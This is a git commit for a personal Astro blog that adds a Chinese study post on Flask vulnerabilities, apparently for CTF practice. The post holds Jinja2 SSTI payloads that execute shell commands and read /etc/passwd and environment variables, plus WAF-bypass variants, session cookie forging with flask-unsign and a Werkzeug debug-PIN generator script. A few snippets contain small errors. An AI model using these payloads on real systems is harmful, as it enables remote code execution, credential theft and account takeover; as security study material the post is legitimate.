提交完整Astro博客源码

This commit is contained in:
2026-04-22 00:02:30 +08:00
parent 327f0c606a
commit ba601a9f50
12 changed files with 5925 additions and 232 deletions

BIN
MyBlog.zip Normal file

Binary file not shown.

BIN
dist.zip Normal file

Binary file not shown.

5710
package-lock.json generated Normal file

File diff suppressed because it is too large Load Diff

BIN
src/assets/BladeRunner.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 MiB

BIN
src/assets/background.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 123 KiB

BIN
src/assets/boy.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 MiB

BIN
src/assets/flower.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 47 KiB

BIN
src/assets/wondering.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 135 KiB

View File

@@ -3,7 +3,7 @@ const today = new Date();
---
<footer>
&copy; {today.getFullYear()} Your name here. All rights reserved.
&copy; {today.getFullYear()} Marvin . All rights reserved.
<div class="social-links">
<a href="https://m.webtoo.ls/@astro" target="_blank">
<span class="sr-only">Follow Astro on Mastodon</span>

View File

@@ -1,214 +1,246 @@
---
title: 'Markdown Style Guide'
description: 'Here is a sample of some basic Markdown syntax that can be used when writing Markdown content in Astro.'
pubDate: 'Jun 19 2024'
heroImage: '../../assets/blog-placeholder-1.jpg'
title: 'Python 漏洞初阶'
description: 'Here is a sample of some basic python 漏洞'
pubDate: 'Apr 13 2026'
heroImage: '../../assets/boy.jpg'
---
Here is a sample of some basic Markdown syntax that can be used when writing Markdown content in Astro.
# SSTI
## Headings
## flask框架中的ssti
[flask框架漏洞](https://blog.csdn.net/weixin_44190459/article/details/116774912)
The following HTML `<h1>``<h6>` elements represent six levels of section headings. `<h1>` is the highest section level while `<h6>` is the lowest.
[Python 正则表达式 | 菜鸟教程](https://www.runoob.com/python/python-reg-expressions.html)
[Python 面向对象 | 菜鸟教程](https://www.runoob.com/python/python-object.html)
# H1
>SSTI(Server-Side Template Injection) 服务端模板注入 ,服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分渲染可能导致敏感信息泄露、代码执行、GetShell 等。
## H2
如何避免:
1. 不要使用`f-string`拼接模板,`render_template_string`,如
`render_template_string(f"Hello {name}")`
安全的写法:`render_template('index.html',name=name)`
2. 只把用户输入当变量传,而不是模板代码;如果必须动态渲染,一定要严格过滤`{{}} {% %} {# #}`
### H3
利用方式:
获取到基类 object重点关注 os/file 这些关键字。如`{{("".__class__.__base__.__subclasses__())}}`查看所有子类,再用脚本寻找可以利用的类:
```python
import re
#### H4
data=r'''[<class 'type'>, <class 'async_generator'>]'''
##### H5
useful_class=['linecache', 'os._wrap_close', 'subprocess.Popen',
'warnings.catch_warnings', '_frozen_importlib._ModuleLock',
'_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager',
'_frozen_importlib.ModuleSpec']
###### H6
pattern=re.compile(r"'(.*?)'")
## Paragraph
Xerum, quo qui aut unt expliquam qui dolut labo. Aque venitatiusda cum, voluptionse latur sitiae dolessi aut parist aut dollo enim qui voluptate ma dolestendit peritin re plis aut quas inctum laceat est volestemque commosa as cus endigna tectur, offic to cor sequas etum rerum idem sintibus eiur? Quianimin porecus evelectur, cum que nis nust voloribus ratem aut omnimi, sitatur? Quiatem. Nam, omnis sum am facea corem alique molestrunt et eos evelece arcillit ut aut eos eos nus, sin conecerem erum fuga. Ri oditatquam, ad quibus unda veliamenimin cusam et facea ipsamus es exerum sitate dolores editium rerore eost, temped molorro ratiae volorro te reribus dolorer sperchicium faceata tiustia prat.
Itatur? Quiatae cullecum rem ent aut odis in re eossequodi nonsequ idebis ne sapicia is sinveli squiatum, core et que aut hariosam ex eat.
## Images
### Syntax
```markdown
![Alt text](./full/or/relative/path/of/image)
class_list=pattern.findall(data)
for i in class_list:
for j in useful_class:
if j in i:
print(str(class_list.index(i))+":"+i)
```
### Output
![blog placeholder](../../assets/blog-placeholder-about.jpg)
## Blockquotes
The blockquote element represents content that is quoted from another source, optionally with a citation which must be within a `footer` or `cite` element, and optionally with in-line changes such as annotations and abbreviations.
### Blockquote without attribution
#### Syntax
```markdown
> Tiam, ad mint andaepu dandae nostion secatur sequo quae.
> **Note** that you can use _Markdown syntax_ within a blockquote.
但是有的题目不会显示subclasses,这是需要我们直接输入小脚本,观察页面回显,如
```python
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
{%endif%}
{%endfor%}
```
#### Output
获取到有用的类的下标后,我们可以进行:
#### 命令执行
```python
{{().__class__.__bases__[0].__subclasses__()[160].__init__.__globals__['popen']('ls').read()}}
```
可以先看这个类里面有什么`__globals__.keys()`,这里直接`__globals__['popen']`是因为发现__globals__下面没有os模块如果有可以`__globals__['os'].popen('ls').read()`
> Tiam, ad mint andaepu dandae nostion secatur sequo quae.
> **Note** that you can use _Markdown syntax_ within a blockquote.
```python
{{().__class__.__bases__[0].__subclasses__()[160].__init__.__globals__.__builtins__['eval']('__import__('os').popen('ls /').read()')}}
### Blockquote with attribution
```
有些ctf题`ls`发现没有与flag相关的文件夹flag可能在环境变量`env`里,即`__globals__['popen']('env').read()`
#### 文件读取
```python
{{().__class__.__bases__[0].__subclasses__()[160].__init__.__globals__.__builtins__['open']('1.txt').read()}}
```
发现无法打开.py文件
### 绕过
[linux命令绕过](https://blog.csdn.net/m0_67844671/article/details/133239381)
#### 关键字(空格,点号)过滤
#### Syntax
```markdown
> Don't communicate by sharing memory, share memory by communicating.<br>
> — <cite>Rob Pike[^1]</cite>
```python
# +号拼接绕过,也用于点过滤
{{ ""['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']() }}
```
#### Output
```python
# 使用Jinjia2的号拼接
{% set a='__cl' %}{% set b='ass__' %}{% set c='__ba' %}{% set d='se__' %}{{()[a~b][c~d] }}
```
注意拼接时`()`要放在引号外面,`subclasses` 是方法,不是属性。方法必须加 () 调用,不能直接当键名查
> Don't communicate by sharing memory, share memory by communicating.<br>
> — <cite>Rob Pike[^1]</cite>
```python
# 使用过滤器reverse绕过
{% set a='__ssalc__'|reverse %}{{ ()[a] }}
# 不带空格简洁
{{''['__ssalc__'[::-1]]}}
```
[^1]: The above quote is excerpted from Rob Pike's [talk](https://www.youtube.com/watch?v=PAAkCSZUG1c) during Gopherfest, November 18, 2015.
```python
# 使用 join 过滤器绕过,同时可以绕过引号过滤
{% set a=dict(__cl=a,ass__=a)|join %}{{ ()[a] }}
```
#### 符号过滤
## Tables
### Syntax
```markdown
| Italics | Bold | Code |
| --------- | -------- | ------ |
| _italics_ | **bold** | `code` |
```python
# {{和}}被过滤使用{%和%}绕过
{% print(''.__class__) %}
```
`{% %}`定义变量、循环、判断等逻辑操作,不输出
```python
# 中括号过滤,魔术方法__getitem__可代替中括号
.__subclasses__().__getitem__(13).__getitem__('popen')
```
### Output
| Italics | Bold | Code |
| --------- | -------- | ------ |
| _italics_ | **bold** | `code` |
## Code Blocks
### Syntax
we can use 3 backticks ``` in new line and write snippet and close with 3 backticks on new line and to highlight language specific syntax, write one word of language name after first 3 backticks, for eg. html, javascript, css, markdown, typescript, txt, bash
````markdown
```html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>Example HTML5 Document</title>
</head>
<body>
<p>Test</p>
</body>
</html>
```
````
### Output
```html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>Example HTML5 Document</title>
</head>
<body>
<p>Test</p>
</body>
</html>
```python
# 过滤点[]
{{()|attr('__class__')|attr('__base__')}}
```
## List Types
```python
# 下划线被过滤可以使用过滤器输入下划线如使用函数attr()
{{()|attr(request.form.p1)|attr(request.form.p2)}}
# 同时post传参p1=__class__&p2=__base__
### Ordered List
#### Syntax
```markdown
1. First item
2. Second item
3. Third item
#也可以将下划线16进制编码
{{()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']}}
```
#### Output
1. First item
2. Second item
3. Third item
### Unordered List
#### Syntax
```markdown
- List item
- Another item
- And another item
```python
# 单双引号被过滤可get/post传参
#get传参 ?p1=popen&p2=cat /flag
{{.__globals__[request.args.p1](request.args.p2).read()}}
```
#### Output
- List item
- Another item
- And another item
### Nested list
#### Syntax
```markdown
- Fruit
- Apple
- Orange
- Banana
- Dairy
- Milk
- Cheese
```python
# 数字被过滤,a=5*5+1=26
{% set a='aaaaa'|length*'aaaaa'|length+'a'|length %}{{().__class_.__base__.__subclasses__()[a]}}
```
#### Output
- Fruit
- Apple
- Orange
- Banana
- Dairy
- Milk
- Cheese
## Other Elements — abbr, sub, sup, kbd, mark
### Syntax
```markdown
<abbr title="Graphics Interchange Format">GIF</abbr> is a bitmap image format.
H<sub>2</sub>O
X<sup>n</sup> + Y<sup>n</sup> = Z<sup>n</sup>
Press <kbd>CTRL</kbd> + <kbd>ALT</kbd> + <kbd>Delete</kbd> to end the session.
Most <mark>salamanders</mark> are nocturnal, and hunt for insects, worms, and other small creatures.
获取特殊字符
```python
{% set a=(lipsum|string|list) %}{{a[18]}}
```
### Output
![[Pasted image 20260405175857.png]]
### 工具
<abbr title="Graphics Interchange Format">GIF</abbr> is a bitmap image format.
鸡肋焚靖fenjing是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本但咋没用
H<sub>2</sub>O
## flask session
X<sup>n</sup> + Y<sup>n</sup> = Z<sup>n</sup>
[Python Flask Session漏洞](https://blog.csdn.net/qq_46143339/article/details/155313682)
flask session 存储在客户端cookie中且仅对session进行了签名。
cookie结构
```python
.base64(payload).base64(timestamp).base64(hmac-signature)
```
### 流程示例
Press <kbd>CTRL</kbd> + <kbd>ALT</kbd> + <kbd>Delete</kbd> to end the session.
1. 找到cookie中的session值用flask-unsign解密,得到类似于`{'is_admin': False}`的形式
```bash
flask-unsign --decode --cookie 'eyJpc19hZG1pbiI6ZmFsc2V9'
```
2. 找secret_key方法很多看题目
- debug=True
- 在源码/配置文件里找 app.py config.py .env .git可结合任意文件读取
- 结合ssti `{{config.SECRET_KEY}}`
- [字典爆破](https://github.com/dw0rsec/rockyou.txt)
```bash
flask-unsign --unsign --cookie 'eyJpc19hZG1pbiI6ZmFsc2V9' --wordlist rockyou.txt
```
3. 构造管理员session
```bash
flask-unsign --sign --secret "weak_key" --cookie "{'is_admin': True}"
```
Most <mark>salamanders</mark> are nocturnal, and hunt for insects, worms, and other small creatures.
### 防御
用强随机密钥
把`secret_key`写在**环境变量**或**配置文件**中
生产环境关闭debug
```python
app.config.update(
SECRET_KEY = os.urandom(24), # 必须强随机
SESSION_COOKIE_HTTPONLY = True,
SESSION_COOKIE_SECURE = True, # 强制HTTPS
SESSION_COOKIE_SAMESITE = 'Strict',
)
```
## flask-debug模式的安全隐患
开发环境中设置`app.run(debug=True)`时,它提供了自动重载、详细的错误页面和交互式调试器等便利功能。
在`debug`的环境下输入`PIN`码调用`python`的交互式`shell`
> 但需要6个参数呃呃呃
```
1. username 运行该Flask程序的用户名 /etc/passwd文件内
2. modname 模块名 flask.app
3. getattr() app名值为Flask
4. getattr() Flask目录下的一个app.py的绝对路径这个值可以在报错页面看到。但有个需注意Python3是 app.pyPython2中是app.pyc。 报错页面回显(访问报错界面 输入不能识别的参数) str(uuid.getnode())
5. MAC地址读取这两个文件地址/sys/class/net/eth0/address或者/sys/class/net/ens33/address
6. get_machine_id() 系统id /etc/machine-id 或者docker环境id /proc/self/cgroup
```
因为需要读取文件目录,就要找执行文件读取函数的模块子类,所以会搭配`ssti`注入如获取mac地址
```python
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
```
```python
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb' # 1.username
'flask.app', # 2.modname
'Flask', # 3.appname
'/usr/local/lib/python3.7/site-packages/flask/app.py' # 4.moddir
]
private_bits = [
'130771165565282', # 5.str(uuid.getnode())
'1408f836b0ca514d796cbf8960e45fa1' # 6.machine-id
]
# py<=3.7 是 md5 3.8 以后是 sha1
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
```

View File

@@ -1,63 +1,14 @@
---
import AboutHeroImage from '../assets/blog-placeholder-about.jpg';
import AboutHeroImage from '../assets/background.jpg';
import Layout from '../layouts/BlogPost.astro';
---
<Layout
title="About Me"
description="Lorem ipsum dolor sit amet"
pubDate={new Date('August 08 2021')}
title="About Marvin"
description="一个有意思的大学生,正在探索世界..."
pubDate={new Date('April 04 2026')}
heroImage={AboutHeroImage}
>
<p>
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut
labore et dolore magna aliqua. Vitae ultricies leo integer malesuada nunc vel risus commodo
viverra. Adipiscing enim eu turpis egestas pretium. Euismod elementum nisi quis eleifend quam
adipiscing. In hac habitasse platea dictumst vestibulum. Sagittis purus sit amet volutpat. Netus
et malesuada fames ac turpis egestas. Eget magna fermentum iaculis eu non diam phasellus
vestibulum lorem. Varius sit amet mattis vulputate enim. Habitasse platea dictumst quisque
sagittis. Integer quis auctor elit sed vulputate mi. Dictumst quisque sagittis purus sit amet.
</p>
<p>
Morbi tristique senectus et netus. Id semper risus in hendrerit gravida rutrum quisque non
tellus. Habitasse platea dictumst quisque sagittis purus sit amet. Tellus molestie nunc non
blandit massa. Cursus vitae congue mauris rhoncus. Accumsan tortor posuere ac ut. Fringilla urna
porttitor rhoncus dolor. Elit ullamcorper dignissim cras tincidunt lobortis. In cursus turpis
massa tincidunt dui ut ornare lectus. Integer feugiat scelerisque varius morbi enim nunc.
Bibendum neque egestas congue quisque egestas diam. Cras ornare arcu dui vivamus arcu felis
bibendum. Dignissim suspendisse in est ante in nibh mauris. Sed tempus urna et pharetra pharetra
massa massa ultricies mi.
</p>
<p>
Mollis nunc sed id semper risus in. Convallis a cras semper auctor neque. Diam sit amet nisl
suscipit. Lacus viverra vitae congue eu consequat ac felis donec. Egestas integer eget aliquet
nibh praesent tristique magna sit amet. Eget magna fermentum iaculis eu non diam. In vitae
turpis massa sed elementum. Tristique et egestas quis ipsum suspendisse ultrices. Eget lorem
dolor sed viverra ipsum. Vel turpis nunc eget lorem dolor sed viverra. Posuere ac ut consequat
semper viverra nam. Laoreet suspendisse interdum consectetur libero id faucibus. Diam phasellus
vestibulum lorem sed risus ultricies tristique. Rhoncus dolor purus non enim praesent elementum
facilisis. Ultrices tincidunt arcu non sodales neque. Tempus egestas sed sed risus pretium quam
vulputate. Viverra suspendisse potenti nullam ac tortor vitae purus faucibus ornare. Fringilla
urna porttitor rhoncus dolor purus non. Amet dictum sit amet justo donec enim.
</p>
<p>
Mattis ullamcorper velit sed ullamcorper morbi tincidunt. Tortor posuere ac ut consequat semper
viverra. Tellus mauris a diam maecenas sed enim ut sem viverra. Venenatis urna cursus eget nunc
scelerisque viverra mauris in. Arcu ac tortor dignissim convallis aenean et tortor at. Curabitur
gravida arcu ac tortor dignissim convallis aenean et tortor. Egestas tellus rutrum tellus
pellentesque eu. Fusce ut placerat orci nulla pellentesque dignissim enim sit amet. Ut enim
blandit volutpat maecenas volutpat blandit aliquam etiam. Id donec ultrices tincidunt arcu. Id
cursus metus aliquam eleifend mi.
</p>
<p>
Tempus quam pellentesque nec nam aliquam sem. Risus at ultrices mi tempus imperdiet. Id porta
nibh venenatis cras sed felis eget velit. Ipsum a arcu cursus vitae. Facilisis magna etiam
tempor orci eu lobortis elementum. Tincidunt dui ut ornare lectus sit. Quisque non tellus orci
ac. Blandit libero volutpat sed cras. Nec tincidunt praesent semper feugiat nibh sed pulvinar
proin gravida. Egestas integer eget aliquet nibh praesent tristique magna.
</p>
<p>我是Marvin,一个对 Life IT Money 充满热情的在校大学生。</p>
<p>这是我开发的首个个人博客,请大家见证我的成长!</p>
</Layout>

View File

@@ -13,7 +13,7 @@ import { SITE_DESCRIPTION, SITE_TITLE } from '../consts';
<body>
<Header />
<main>
<h1>🧑‍🚀 Hello, Astronaut!</h1>
<h1>Sorry,see me at About to learn more</h1>
<p>
Welcome to the official <a href="https://astro.build/">Astro</a> blog starter template. This template
serves as a lightweight, minimally-styled starting point for anyone looking to build a personal